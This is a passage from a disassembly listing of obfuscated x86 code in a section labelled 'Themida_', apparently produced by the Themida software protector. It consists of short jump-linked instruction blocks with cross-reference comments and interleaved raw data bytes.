7 jmp loc_55B8A7 ; --------------------------------------------------------------------------- loc_55E87C: ; CODE XREF: Themida_:0055DE38j mov edx, ebx jmp loc_56316B ; --------------------------------------------------------------------------- loc_55E883: ; CODE XREF: Themida_:00568EF5j pop ebp xchg edx, [esp] pop esp or ecx, ecx jz loc_559949 push edx mov edx, esp jmp loc_562692 ; --------------------------------------------------------------------------- loc_55E898: ; CODE XREF: Themida_:005563D5j mov edx, ebp mov ecx, edx pop edx jmp loc_55BE16 ; --------------------------------------------------------------------------- dw 870Fh dd 1722h, 0EEFCEA81h, 0F752AC48h db 14h, 24h ; --------------------------------------------------------------------------- loc_55E8B2: ; CODE XREF: Themida_:0055992Cj dec edi jmp loc_565D6B ; --------------------------------------------------------------------------- loc_55E8B8: ; CODE XREF: Themida_:00563BF2j pop ecx jmp loc_5580E0 ; --------------------------------------------------------------------------- loc_55E8BE: ; CODE XREF: Themida_:00556ADBj push dword ptr [esp] pop esi add esp, 4 pop dword ptr [esp] mov eax, [esp] push ebp push esp mov ebp, [esp] add esp, 4 push esi jmp loc_563862 ; --------------------------------------------------------------------------- loc_55E8DC: ; CODE XREF: Themida_:005635CAj sub eax, ebp jmp loc_5567ED ; --------------------------------------------------------------------------- loc_55E8E3: ; CODE XREF: Themida_:0055ABE7j ; Themida_:00562E44j mov eax, ecx jmp loc_55E0DE ; --------------------------------------------------------------------------- loc_55E8EA: ; CODE XREF: Themida_:0055D6A6j push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push 0FEDh mov [esp], edi sub esp, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_557E8C ; --------------------------------------------------------------------------- loc_55E90D: ; CODE XREF: Themida_:005652A5j add edx, ebp sub edx, 2F1B3556h pop ebp add [esp+8], edx pop edx add dword ptr [esp+4], 66141337h jmp loc_55946A ; --------------------------------------------------------------------------- loc_55E928: ; CODE XREF: Themida_:0055C837j pop ebx mov ebp, [esp] add esp, 4 push ebp jmp loc_55F287 ; --------------------------------------------------------------------------- loc_55E935: ; CODE XREF: Themida_:005658E5j xor esi, [esp] jmp loc_567B6A ; --------------------------------------------------------------------------- loc_55E93D: ; CODE XREF: Themida_:00556EA3j add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_569C5F ; --------------------------------------------------------------------------- loc_55E952: ; CODE XREF: Themida_:0056B795j pop ebp jmp loc_5648B5 ; --------------------------------------------------------------------------- dd 4C18159h, 81000000h, 4ECh, 243C8900h, 8D7373BFh, 14F75732h dd 0E7815F24h, 26D0463Bh, 0CE7F8F0Fh, 0D7F70000h, 689EBD55h dd 0C5812930h, 0DBC3A89h ; --------------------------------------------------------------------------- loc_55E98C: ; CODE XREF: Themida_:005581E6j xchg eax, [esp] mov esp, [esp] jmp loc_55DB3A ; --------------------------------------------------------------------------- loc_55E997: ; CODE XREF: Themida_:005580CCj push 6C73h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 jmp loc_558838 ; --------------------------------------------------------------------------- loc_55E9B5: ; CODE XREF: Themida_:loc_556FE4j ; Themida_:0056575Ej push ecx push ebp jmp loc_567303 ; --------------------------------------------------------------------------- loc_55E9BC: ; CODE XREF: Themida_:00558321j jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55E9C1: ; CODE XREF: Themida_:005682FBj xor edx, 6BFE1356h mov eax, edx pop edx mov edx, eax jmp loc_56925B ; --------------------------------------------------------------------------- loc_55E9D1: ; CODE XREF: Themida_:00561D56j sub esp, 4 jmp loc_55E09D ; --------------------------------------------------------------------------- loc_55E9D9: ; CODE XREF: Themida_:00561045j xchg edi, [esp] mov esp, [esp] jmp loc_563E49 ; --------------------------------------------------------------------------- loc_55E9E4: ; CODE XREF: Themida_:0055C3B3j add ebx, 524960E5h shl ebx, 7 shl ebx, 8 jmp loc_5628BF ; --------------------------------------------------------------------------- db 81h, 0CEh, 0B0h dd 0E96F4377h, 0FFFFDAD0h, 8B243C87h, 34892424h, 46824h dd 0AEE90000h, 83000023h, 5F042404h, 4C781h, 0C7830000h dd 243C8704h, 0FFD4EDE9h, 4EEE81FFh, 8B55B06Bh, 0A468240Ch dd 89000004h, 0E389241Ch, 4C381h, 55E90000h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA47: ; CODE XREF: Themida_:005595B4j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 693Ch mov [esp], eax push 7CC4012h jmp loc_566FF6 ; --------------------------------------------------------------------------- loc_55EA66: ; CODE XREF: Themida_:0056264Bj xor esi, 8C724863h xor esi, 15A42F7Eh add esi, 33BA1A95h shl esi, 5 xor esi, 0B2A26F2Dh jmp loc_559C40 ; --------------------------------------------------------------------------- dw 875Fh dd 87D1F7CDh, 0F9C581CDh, 11BF337h, 40E95DEEh db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EA9B: ; CODE XREF: Themida_:00567AACj push 41F7h mov [esp], ebx jmp loc_56A87E ; --------------------------------------------------------------------------- loc_55EAA8: ; CODE XREF: Themida_:0055AAA7j mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp jmp loc_55EF86 ; --------------------------------------------------------------------------- loc_55EAB9: ; CODE XREF: Themida_:00568F3Dj add esi, 1 add esi, 73D271BFh jmp loc_568A45 ; --------------------------------------------------------------------------- loc_55EAC7: ; CODE XREF: Themida_:0055D1BDj xchg ecx, edx push edx neg dword ptr [esp] pop edx inc edx xor edx, 9D2F74CFh add edi, edx pop edx push esi mov esi, edi push esi pop ebp pop esi pop edi sub eax, ebp jmp loc_55FA88 ; --------------------------------------------------------------------------- dw 1489h dd 5ACABA24h, 0E9526BA5h, 0FFFFAE3Dh dword_55EAF4 dd 0AC8DE9ACh ; DATA XREF: Themida_:0055624Co db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EAFA: ; CODE XREF: Themida_:005686D4j mov esp, [esp] mov [esp], eax mov eax, 3EFF43F0h xor eax, 3EFF43F1h push 730Bh mov [esp], eax jmp loc_56A8E9 ; --------------------------------------------------------------------------- loc_55EB17: ; CODE XREF: Themida_:0056C9C1j mov edi, [esp] push esi jmp loc_56112C ; --------------------------------------------------------------------------- loc_55EB20: ; CODE XREF: Themida_:00568885j add bh, dl pop edx sub bh, 92h add bh, dh add bh, 92h sub bh, 33h sub bh, 0B4h jmp loc_556B8A ; --------------------------------------------------------------------------- loc_55EB36: ; CODE XREF: Themida_:0055E5A3j pop esp jmp loc_55F206 ; --------------------------------------------------------------------------- dd 4701312Dh, 241C8B0Ch, 4C481h, 505E0000h, 42474FFh, 0E924048Bh dd 0B7Ch ; --------------------------------------------------------------------------- loc_55EB58: ; CODE XREF: Themida_:00569A8Fj or cl, 90h jp loc_569D2D jmp loc_56CD19 ; --------------------------------------------------------------------------- dw 5158h dd 0EB8BE189h ; --------------------------------------------------------------------------- loc_55EB6C: ; CODE XREF: Themida_:00565E67j mov ebx, [esp] add esp, 4 jmp loc_55D6D6 ; --------------------------------------------------------------------------- db 29h dd 5A042454h, 0E9240C8Bh, 0D66Fh ; --------------------------------------------------------------------------- loc_55EB84: ; CODE XREF: Themida_:00566726j pop edx jmp loc_56223D ; --------------------------------------------------------------------------- loc_55EB8A: ; CODE XREF: Themida_:00568873j pop edx jmp loc_56A95B ; --------------------------------------------------------------------------- loc_55EB90: ; CODE XREF: Themida_:0056269Bj xchg edx, [esp] jmp loc_56A4F3 ; --------------------------------------------------------------------------- loc_55EB98: ; CODE XREF: Themida_:0056AFE1j push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 push eax mov eax, 56994063h shl eax, 2 push ebp jmp loc_55900E ; --------------------------------------------------------------------------- loc_55EBB4: ; CODE XREF: Themida_:0055F310j push ebx mov ebx, 16736457h sub ebp, ebx pop ebx jmp loc_56A1BD ; --------------------------------------------------------------------------- dw 49BAh dd 55058702h, 0B147E9h db 0 ; --------------------------------------------------------------------------- loc_55EBCD: ; CODE XREF: Themida_:0055BF86j push ebp push ebx push 2A383CF6h mov ebx, [esp] add esp, 4 not ebx jmp loc_55AA10 ; --------------------------------------------------------------------------- loc_55EBE1: ; CODE XREF: Themida_:00565FA5j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp xor ebx, [esp] jmp loc_56C573 ; --------------------------------------------------------------------------- loc_55EBFB: ; CODE XREF: Themida_:0055DEA6j push esp jmp loc_5588EF ; --------------------------------------------------------------------------- loc_55EC01: ; CODE XREF: Themida_:loc_559DA8j ; Themida_:005665EFj pop esp mov [esp], ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edi mov edi, 2 jmp loc_566D42 ; --------------------------------------------------------------------------- loc_55EC20: ; CODE XREF: Themida_:00567758j push dword ptr [esp] jmp loc_564BBE ; --------------------------------------------------------------------------- dd 8904EC83h, 0AABE2434h, 0F731EE12h, 4EC83DEh, 23B5E9h db 0 ; --------------------------------------------------------------------------- loc_55EC3D: ; CODE XREF: Themida_:005642DBj add esp, 4 jmp loc_569D6B ; --------------------------------------------------------------------------- db 83h, 0C4h, 2 dd 0D008E6C0h, 0B35AE9E6h, 3C87FFFFh, 7F55E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EC5A: ; CODE XREF: Themida_:0055F3A5j ; Themida_:005600F7j sub eax, 3C2F1E6h add esi, 27271972h add esi, eax sub esi, 27271972h pop eax pop edx sub esi, 2 jmp loc_5658FA ; --------------------------------------------------------------------------- loc_55EC7A: ; CODE XREF: Themida_:005657A3j mov ecx, 6677D6E8h jmp loc_5601B3 ; --------------------------------------------------------------------------- dd 62B8E9h db 0 ; --------------------------------------------------------------------------- loc_55EC89: ; CODE XREF: Themida_:0056BAE8j add al, bh push edx jmp loc_56812D ; --------------------------------------------------------------------------- db 5Ah, 57h, 0BFh dd 389E6EDAh, 0CF81DFF7h, 64076099h, 0F8FCBD55h, 0EF31A671h dd 7D12E95Dh, 8F54FFFFh, 0E9502404h, 0FFFFF84Bh ; --------------------------------------------------------------------------- loc_55ECB8: ; CODE XREF: Themida_:0056017Ej add ah, 0ABh pop edx push eax jmp loc_559C61 ; --------------------------------------------------------------------------- word_55ECC2 dw 0C8Bh ; DATA XREF: Themida_:0055604Co aPho db '$Ph▌`',0 dw 0E900h dd 0FFFFFFDEh ; --------------------------------------------------------------------------- loc_55ECD0: ; CODE XREF: Themida_:00567AA0j or eax, ebp mov ebp, [esp] jmp loc_561AA7 ; --------------------------------------------------------------------------- loc_55ECDA: ; CODE XREF: Themida_:0055908Fj ; Themida_:loc_55F15Cj jns loc_55953E shr ecx, 1 jmp loc_564858 ; --------------------------------------------------------------------------- db 58h db 52h, 8Bh, 0F3h ; --------------------------------------------------------------------------- loc_55ECEB: ; CODE XREF: Themida_:0055D849j add eax, 4 push eax jmp loc_56856B ; --------------------------------------------------------------------------- loc_55ECF6: ; CODE XREF: Themida_:0056363Ej pop dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edi push ecx mov ecx, esp add ecx, 4 jmp loc_55A8B2 ; --------------------------------------------------------------------------- word_55ED12 dw 8B66h ; DATA XREF: Themida_:00556188o dd 0B768240Ch, 89000049h, 11682414h, 8900005Eh, 39E92424h dd 1FFFF93h, 0D7015EF2h, 0FFA185E9h, 100BFFFh, 0EF81191Bh dd 66E63167h, 0C3E9DF31h db 71h, 2 dup(0) byte_55ED47 db 66h ; DATA XREF: Themida_:00556208o dd 5024048Bh, 4837E9h db 0 ; --------------------------------------------------------------------------- loc_55ED51: ; CODE XREF: Themida_:0055D898j sub dl, 0F5h add al, dl pop edx xor al, 0DDh and dl, al pop eax sub dl, 24h and dl, 0E7h xor dl, 86h xor ch, dl mov edx, [esp] jmp loc_55F86E ; --------------------------------------------------------------------------- loc_55ED6F: ; CODE XREF: Themida_:0056C23Aj add esp, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_5641A5 ; --------------------------------------------------------------------------- loc_55ED80: ; CODE XREF: Themida_:00569DF2j add esi, 35525852h add esi, ebx sub esi, 35525852h push dword ptr [esp] pop ebx push 41F2h mov [esp], edi mov edi, esp jmp loc_56A890 ; --------------------------------------------------------------------------- loc_55EDA1: ; CODE XREF: Themida_:005598EAj mov edx, 51482B24h sub ebx, edx pop edx push ebx pop edi mov ebx, [esp] add esp, 4 and ecx, edi push dword ptr [esp] pop edi push edx jmp loc_55C908 ; --------------------------------------------------------------------------- dword_55EDC0 dd 40C2CACh, 827AE9AFh ; DATA XREF: Themida_:005561E0o db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EDCA: ; CODE XREF: Themida_:00559944j mov edi, esp jmp loc_558982 ; --------------------------------------------------------------------------- db 55h, 0E9h, 34h dd 8BFFFFD6h, 0C4832434h, 0E9F18704h, 0FFFFC31Ch ; --------------------------------------------------------------------------- loc_55EDE4: ; CODE XREF: Themida_:00556A09j xor [esp+4], eax jmp loc_568704 ; --------------------------------------------------------------------------- loc_55EDED: ; CODE XREF: Themida_:0055A59Ej add [esp], ax pushf jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55EDF7: ; CODE XREF: Themida_:005688C0j not ecx jmp loc_5685B5 ; --------------------------------------------------------------------------- dw 0C89h dd 5676B924h, 0C18151CEh, 0A6E53C1h, 1A9EBE56h, 0F6810046h dd 4DDB03DEh, 2924E981h, 0F12975BDh, 0FF7596E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EE25: ; CODE XREF: Themida_:00561791j push 91Eh mov [esp], ebp mov ebp, 2595604Ch xor esi, ebp pop ebp dec esi add esi, 5944123Ch add ebx, esi mov esi, [esp] add esp, 4 jmp loc_56C711 ; --------------------------------------------------------------------------- loc_55EE49: ; CODE XREF: Themida_:0055AE04j sub edx, 39E27FFh push edx not dword ptr [esp] mov edx, [esp] add esp, 4 push edi mov edi, 6757F97Bh jmp loc_56B488 ; --------------------------------------------------------------------------- loc_55EE67: ; CODE XREF: Themida_:0056A31Bj add ebx, ebp pop ebp jmp loc_55A6A5 ; --------------------------------------------------------------------------- loc_55EE6F: ; CODE XREF: Themida_:0055F9A0j mov ecx, ebp jmp loc_556AD7 ; --------------------------------------------------------------------------- loc_55EE76: ; CODE XREF: Themida_:0055D835j push 7C7Dh mov [esp], eax jmp loc_56D194 ; --------------------------------------------------------------------------- loc_55EE83: ; CODE XREF: Themida_:005677E4j add ebp, esi pop esi jmp loc_5578B2 ; --------------------------------------------------------------------------- loc_55EE8B: ; CODE XREF: Themida_:0056D2F1j push esp pop edx add edx, 4 jmp loc_557115 ; --------------------------------------------------------------------------- loc_55EE98: ; CODE XREF: Themida_:0056CDF1j mov edi, 878B56E5h xor ecx, edi pop edi mov edi, ecx pop ecx jmp loc_5571A4 ; --------------------------------------------------------------------------- loc_55EEA8: ; CODE XREF: Themida_:0056C3B9j sub ecx, 2C153A90h sub ebx, ecx jmp loc_559AC9 ; --------------------------------------------------------------------------- loc_55EEB5: ; CODE XREF: Themida_:0055A4FAj push ebp jmp loc_55ACD5 ; --------------------------------------------------------------------------- loc_55EEBB: ; CODE XREF: Themida_:0055F761j push 45D0h mov [esp], ecx push 480048CEh jmp loc_557FDB ; --------------------------------------------------------------------------- loc_55EECD: ; CODE XREF: Themida_:00567677j mov [esp], edx push 31CDh mov [esp], esp jmp loc_55BF75 ; --------------------------------------------------------------------------- loc_55EEDD: ; CODE XREF: Themida_:loc_55B242j neg ebx jbe loc_562D48 neg ebx jmp loc_567412 ; --------------------------------------------------------------------------- dd 0C6240431h db 0C1h, 0E8h ; --------------------------------------------------------------------------- loc_55EEF2: ; CODE XREF: Themida_:00556548j sub al, dh pop edx pop ecx add al, 0Ch push 76E7h mov [esp], ecx push 4BD2h mov [esp], edx mov dh, 0FCh push ecx mov cl, 0C0h dec cl jmp loc_560B32 ; --------------------------------------------------------------------------- loc_55EF14: ; CODE XREF: Themida_:0055FB92j add esp, 4 jmp loc_56C261 ; --------------------------------------------------------------------------- dd 6624248Bh, 57240C8Bh, 3A3CE9h, 0FF18100h, 0E991E39Ch dd 310Ah, 0E97DCA80h, 9811h ; --------------------------------------------------------------------------- loc_55EF3C: ; CODE XREF: Themida_:005565E6j pop esi mov ebp, edi pop edi push esi jmp loc_55B4A6 ; --------------------------------------------------------------------------- loc_55EF46: ; CODE XREF: Themida_:0055B87Ej add esi, 44F0264Ah add esi, 71B0ABABh xor edx, esi jmp loc_56293B ; --------------------------------------------------------------------------- loc_55EF59: ; CODE XREF: Themida_:00561EC3j mov ebp, 4027687Eh jmp loc_56CFDE ; --------------------------------------------------------------------------- loc_55EF63: ; CODE XREF: Themida_:0055FB4Fj sub ebx, 44617DD0h sub ebx, 0D0875DA5h jmp loc_55C3B8 ; --------------------------------------------------------------------------- dd 45E9D5F7h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EF7B: ; CODE XREF: Themida_:0056BCAEj sub ecx, 68040351h jmp loc_561B3B ; --------------------------------------------------------------------------- loc_55EF86: ; CODE XREF: Themida_:0055EAB4j push esi push edx jmp loc_5668D1 ; --------------------------------------------------------------------------- loc_55EF8D: ; CODE XREF: Themida_:005576F1j push 54Eh jmp loc_5601CC ; --------------------------------------------------------------------------- db 52h dd 1557FFBAh, 5AD62140h, 9C97E9h db 0 ; --------------------------------------------------------------------------- loc_55EFA5: ; CODE XREF: Themida_:0055C73Aj xchg edx, ebx dec ebx xor ebx, 1B20A45h jmp loc_556322 ; --------------------------------------------------------------------------- loc_55EFB3: ; CODE XREF: Themida_:005672AAj shr al, 4 jmp loc_56304C ; --------------------------------------------------------------------------- loc_55EFBB: ; CODE XREF: Themida_:00559D64j push 39F3h mov [esp], ebx mov ebx, 2DE8075Eh neg ebx inc ebx sub ebx, 6F519BEAh sub edi, 0EC27F50h jmp loc_55AC67 ; --------------------------------------------------------------------------- loc_55EFDC: ; CODE XREF: Themida_:0055F756j sub edi, ebx pop ebx xchg edi, [esp] pop esp jmp loc_558B1F ; --------------------------------------------------------------------------- loc_55EFE8: ; CODE XREF: Themida_:00559E15j mov ebx, 3D6A2196h jmp loc_56BEE3 ; --------------------------------------------------------------------------- loc_55EFF2: ; CODE XREF: Themida_:005589F2j pop edi add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_562341 ; --------------------------------------------------------------------------- loc_55F004: ; CODE XREF: Themida_:005693F1j mov eax, 3BC06A19h jmp loc_567A47 ; --------------------------------------------------------------------------- aWsI db 'WИк┬',0 align 4 loc_55F014: ; CODE XREF: Themida_:00558B28j mov [esp], ebx mov ebx, 1FB46E9Eh sub ebx, 0CB9A59BAh mov edi, ebx pop ebx shl edi, 4 xchg ebx, edi not ebx push edi push ecx jmp loc_55E848 ; --------------------------------------------------------------------------- loc_55F033: ; CODE XREF: Themida_:0056316Ej sub esp, 4 mov [esp], edi sub dword ptr [esp], 57D813CDh mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] add eax, 57D813CDh mov edi, [esp] jmp loc_561DE2 ; --------------------------------------------------------------------------- loc_55F065: ; CODE XREF: Themida_:0056A59Ej push edi push 739B1B57h pop edi neg edi xor edi, 0FD20875Bh mov ecx, edi pop edi mov esi, 0E55ECFF8h sub esi, ecx pop ecx jmp loc_565609 ; --------------------------------------------------------------------------- loc_55F084: ; CODE XREF: Themida_:0056511Fj push ebx jmp loc_55A588 ; --------------------------------------------------------------------------- loc_55F08A: ; CODE XREF: Themida_:00568A51j sub ecx, esi pop esi jmp loc_55BE64 ; --------------------------------------------------------------------------- loc_55F092: ; CODE XREF: Themida_:0055E47Ej xor al, dl mov edx, [esp] push esi jmp loc_56CE85 ; --------------------------------------------------------------------------- loc_55F09D: ; CODE XREF: Themida_:0055F9F0j add ebx, edx add ebx, 37F84735h pop edx add ebx, 4 jmp loc_55DF5F ; --------------------------------------------------------------------------- loc_55F0B1: ; CODE XREF: Themida_:0056B72Aj mov esi, [esp] sub esp, 4 mov [esp], esi push esp pop esi push edi jmp loc_55C6F7 ; --------------------------------------------------------------------------- loc_55F0C5: ; CODE XREF: Themida_:0055B429j mov al, dh pop edx push dword ptr [esp] jmp loc_55C617 ; --------------------------------------------------------------------------- loc_55F0D0: ; CODE XREF: Themida_:0056670Ej ; Themida_:0056C0BBj pop esp mov [esp], ecx mov cl, dl push edx jmp loc_55B427 ; --------------------------------------------------------------------------- loc_55F0DC: ; CODE XREF: Themida_:0056151Ej mov ch, ah jmp loc_5572DF ; --------------------------------------------------------------------------- loc_55F0E3: ; CODE XREF: Themida_:0056754Dj mov [esp], edi push esp pop edi push eax mov eax, 72D35D92h jmp loc_56341C ; --------------------------------------------------------------------------- loc_55F0F3: ; CODE XREF: Themida_:loc_55839Ej ; Themida_:0056066Bj mov ch, 3Bh jmp loc_56A974 ; --------------------------------------------------------------------------- loc_55F0FA: ; CODE XREF: Themida_:0056630Ej mov [esp], ax jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55F103: ; CODE XREF: Themida_:00561BB7j push 22F5E65h pop ebx or ebp, ebx pop ebx neg ebp push ebx mov ebx, 26914B49h jmp loc_568DD1 ; --------------------------------------------------------------------------- loc_55F119: ; CODE XREF: Themida_:0056292Cj shl edi, 1 sub edi, 0F224A58Ah sub edx, edi pop edi sub edx, 7E2E67D4h add edx, 476C5AD6h jmp loc_56295A ; --------------------------------------------------------------------------- loc_55F135: ; CODE XREF: Themida_:00563CF7j xchg eax, [esp] pop esp mov [esp], esi jmp loc_55683E ; --------------------------------------------------------------------------- loc_55F141: ; CODE XREF: Themida_:0055F8FCj ; Themida_:005622C3j sub ebx, ebp pop ebp pop esi pop dword ptr [eax] jmp loc_5562E7 ; --------------------------------------------------------------------------- loc_55F14C: ; CODE XREF: Themida_:00559725j sub esi, ecx pop ecx add esi, ebp push edi mov edi, 5AD90087h jmp loc_56CCD3 ; --------------------------------------------------------------------------- loc_55F15C: ; CODE XREF: Themida_:0056813Fj jmp loc_55ECDA ; --------------------------------------------------------------------------- loc_55F161: ; CODE XREF: Themida_:0055BDEAj mov ebp, 2858688Eh jmp loc_55663C ; --------------------------------------------------------------------------- loc_55F16B: ; CODE XREF: Themida_:005600C0j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55B0B0 ; --------------------------------------------------------------------------- loc_55F185: ; CODE XREF: Themida_:005681ACj shr eax, 1 or eax, 32111777h jmp loc_56B740 ; --------------------------------------------------------------------------- byte_55F191 db 8Bh, 14h, 24h ; DATA XREF: Themida_:005560E0o dd 389F68h, 243C8900h, 0CE68E789h, 8900002Bh, 4B82404h dd 0E9000000h, 8A79h ; --------------------------------------------------------------------------- loc_55F1B0: ; CODE XREF: Themida_:0055CD9Cj push esi mov esi, 0B253E810h jmp loc_56575C ; --------------------------------------------------------------------------- db 31h dd 1C33241Ch, 24248B24h, 405h, 11AE6800h, 14890000h, 7527E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F1D6: ; CODE XREF: Themida_:0056D657j add esp, 2 shl al, 7 shl al, 2 push edx push ecx jmp loc_56BFA7 ; --------------------------------------------------------------------------- loc_55F1E9: ; CODE XREF: Themida_:00561D0Aj mov cl, 0BBh add cl, 95h jmp loc_560275 ; --------------------------------------------------------------------------- loc_55F1F3: ; CODE XREF: Themida_:00569A04j mov edx, esp add edx, 4 add edx, 4 jmp loc_56693A ; --------------------------------------------------------------------------- loc_55F206: ; CODE XREF: Themida_:0055EB37j mov [esp], edx mov edx, 38h push 2160h mov [esp], ebx sub esp, 4 mov [esp], esi mov esi, 2B0D47EEh mov ebx, esi pop esi shl ebx, 8 sub ebx, 24303575h jmp loc_567407 ; --------------------------------------------------------------------------- loc_55F232: ; CODE XREF: Themida_:005571D1j pop esp sub esp, 4 mov [esp], ecx push ebp push edi mov edi, 79B178F3h or edi, 15BF750Eh jmp loc_56889E ; --------------------------------------------------------------------------- loc_55F24E: ; CODE XREF: Themida_:0055CCE0j push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp push edi push esi push 78B360BCh mov esi, [esp] push ebx mov ebx, esp jmp loc_56C42C ; --------------------------------------------------------------------------- dd 5C243C87h, 5104C483h, 42474FFh, 24048F59h, 4A30F5Ch dd 60E99C24h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F287: ; CODE XREF: Themida_:0055E930j mov ebp, 55766006h shr ebp, 5 push 670Eh mov [esp], ecx jmp loc_55B3C8 ; --------------------------------------------------------------------------- loc_55F29C: ; CODE XREF: Themida_:0055C140j push 0CBBh mov [esp], ebx mov bh, 3 mov ah, bh pop ebx or dl, ah pop eax and dl, 81h shl dl, 4 sub dl, 0B2h add al, dl jmp loc_5656E5 ; --------------------------------------------------------------------------- dd 7D9E68h, 24348900h, 0FFD271E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F2C9: ; CODE XREF: Themida_:00557AACj shr edi, 3 jmp loc_56D134 ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 46434D50h, 233D8C0Fh, 0CE810000h, 4B466AFFh, 6B810F4Eh dd 81000090h, 0F77AFAEEh, 5EF1896Bh, 0C8BCA89h db 24h ; --------------------------------------------------------------------------- loc_55F2F9: ; CODE XREF: Themida_:0056ABA0j mov [esp], esi jmp loc_560731 ; --------------------------------------------------------------------------- loc_55F301: ; CODE XREF: Themida_:005633CBj dec esi not esi xor esi, 53355A6Ah sub esi, 0AC83316Fh jmp loc_55EBB4 ; --------------------------------------------------------------------------- loc_55F315: ; CODE XREF: Themida_:0056842Cj mov [esp], ebp push eax mov eax, 5DAA67DEh neg eax xor eax, 0E2FDBC48h mov ebp, eax jmp loc_55F974 ; --------------------------------------------------------------------------- loc_55F32C: ; CODE XREF: Themida_:00561B8Bj ; Themida_:00568159j xor ebx, [esp] mov esp, [esp] jmp loc_55E432 ; --------------------------------------------------------------------------- loc_55F337: ; CODE XREF: Themida_:0056D003j push edx push eax jmp loc_56580A ; --------------------------------------------------------------------------- dw 0C87h dd 9B13E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F346: ; CODE XREF: Themida_:0055CA3Bj mov [esp], ebp add dword ptr [esp], 628D50BEh pop dword ptr [edx+30h] push esi mov esi, 3DC55014h shr esi, 4 add esi, 5EB0FBBDh jmp loc_568752 ; --------------------------------------------------------------------------- loc_55F367: ; CODE XREF: Themida_:0056833Ej xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55CCD4 ; --------------------------------------------------------------------------- loc_55F375: ; CODE XREF: Themida_:0055971Bj neg edx add edx, 6DCE087Ch xor ecx, edx pop edx sub edi, 2D87011h add edi, ecx add edi, 2D87011h pop ecx mov esi, [esp] push ebx jmp loc_567D7C ; --------------------------------------------------------------------------- loc_55F398: ; CODE XREF: Themida_:00561854j xor eax, 15390C5Eh shl eax, 6 add eax, 71982158h jmp loc_55EC5A ; --------------------------------------------------------------------------- dw 0D3F7h dd 0B951DA87h, 3B1D0A67h, 479AE981h, 0C9816DA0h, 2BF135B6h dd 650EC181h, 0C1810C5Bh, 0C6BF3B6h, 8159CA01h, 8E73A3EAh dd 81D2F762h, 0DFAE32F2h, 4ABA52F7h, 14BF452h, 24148BD0h dd 0E904C483h, 8A9Dh, 65484FBAh, 98DAE909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F3FA: ; CODE XREF: Themida_:loc_56C84Bj neg edx jmp loc_5666AC ; --------------------------------------------------------------------------- loc_55F401: ; CODE XREF: Themida_:00563F8Aj xchg esi, [esp] pop esp push edx mov edx, 656A1566h shl edx, 7 push edx not dword ptr [esp] pop edx sub edx, 4AF54CFBh jmp loc_55E1FD ; --------------------------------------------------------------------------- loc_55F41E: ; CODE XREF: Themida_:00561135j pop edi xchg ebp, [esp] jmp loc_55E4E5 ; --------------------------------------------------------------------------- loc_55F427: ; CODE XREF: Themida_:loc_560E0Ej or esi, 12235B00h jb loc_558534 jmp loc_568F5B ; --------------------------------------------------------------------------- dd 0E92434FFh, 0A65Fh ; --------------------------------------------------------------------------- loc_55F440: ; CODE XREF: Themida_:005584D4j ; Themida_:00569561j pop ecx push edx mov edx, esp jmp loc_56418F ; --------------------------------------------------------------------------- loc_55F449: ; CODE XREF: Themida_:00565951j xor ebx, 42602B46h jmp loc_55BAC5 ; --------------------------------------------------------------------------- dd 2172C681h, 835F2853h, 343304C6h, 24343124h, 0FF79D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F469: ; CODE XREF: Themida_:00569D4Bj mov eax, [esp] jmp loc_56B475 ; --------------------------------------------------------------------------- loc_55F471: ; CODE XREF: Themida_:00559D3Fj mov [esp], eax mov eax, 2AC6598h jmp loc_55D2C7 ; --------------------------------------------------------------------------- dw 0FA09h dd 0D7EA815Fh, 812B0546h, 0B41B14EAh, 0ACE9503Bh db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F493: ; CODE XREF: Themida_:00562129j push ebx push ecx jmp loc_562ABE ; --------------------------------------------------------------------------- loc_55F49A: ; CODE XREF: Themida_:0055BCDAj add esp, 2 add ax, 62AEh add ax, cx sub ax, 62AEh push cx jmp loc_56B565 ; --------------------------------------------------------------------------- loc_55F4AF: ; CODE XREF: Themida_:00565DC0j add edi, esi pop esi shl edi, 5 push ecx mov ecx, 50E91325h jmp loc_5661A2 ; --------------------------------------------------------------------------- loc_55F4C0: ; CODE XREF: Themida_:00558EB5j sub ecx, 6FB3216Ah jmp loc_55FCF2 ; --------------------------------------------------------------------------- loc_55F4CB: ; CODE XREF: Themida_:00556C07j not dword ptr [esp] pop edx sub edx, 0EDF3F980h jmp loc_556FF5 ; --------------------------------------------------------------------------- dw 1487h aHD db '$\h{D',0 dw 0E900h dd 